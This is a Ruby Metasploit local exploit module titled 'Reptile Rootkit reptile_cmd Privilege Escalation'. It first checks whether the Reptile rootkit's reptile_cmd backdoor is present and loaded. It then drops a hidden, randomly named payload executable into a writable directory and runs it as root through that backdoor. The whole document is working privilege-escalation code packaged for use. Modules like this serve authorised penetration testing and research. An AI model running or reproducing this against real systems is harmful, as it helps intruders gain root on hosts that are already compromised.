Reptile Rootkit reptile_cmd Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',
        'Description' => %q{
          This module uses Reptile rootkit's `reptile_cmd` backdoor executable
          to gain root privileges using the `root` command.

          This module has been tested successfully with Reptile from `master`
          branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'f0rb1dd3n', # Reptile
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2018-10-29', # Reptile first stable release
        'References' => [
          ['URL', 'https://github.com/f0rb1dd3n/Reptile'],
          ['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
        ],
        'Platform' => ['linux'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['Auto', {}]],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        },
        'DefaultTarget' => 0
      )
    )
    register_options [
      OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def reptile_cmd_path
    datastore['REPTILE_CMD_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    unless executable? reptile_cmd_path
      vprint_error "#{reptile_cmd_path} is not executable"
      return CheckCode::Safe('reptile_cmd is not executable')
    end
    vprint_good "#{reptile_cmd_path} is executable"

    res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
    vprint_status "Output: #{res}"

    if res.include?('You have no power here!')
      vprint_error 'Reptile kernel module is not loaded'
      return CheckCode::Safe('Reptile kernel module is not loaded')
    end

    unless res.include?('root')
      vprint_error 'Reptile is not installed'
      return CheckCode::Safe('Reptile is not installed')
    end
    vprint_good 'Reptile is installed and loaded'

    CheckCode::Vulnerable('Target is vulnerable')
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    payload_name = ".#{rand_text_alphanumeric 8..12}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    print_status 'Executing payload...'
    res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
    vprint_line res
  end
end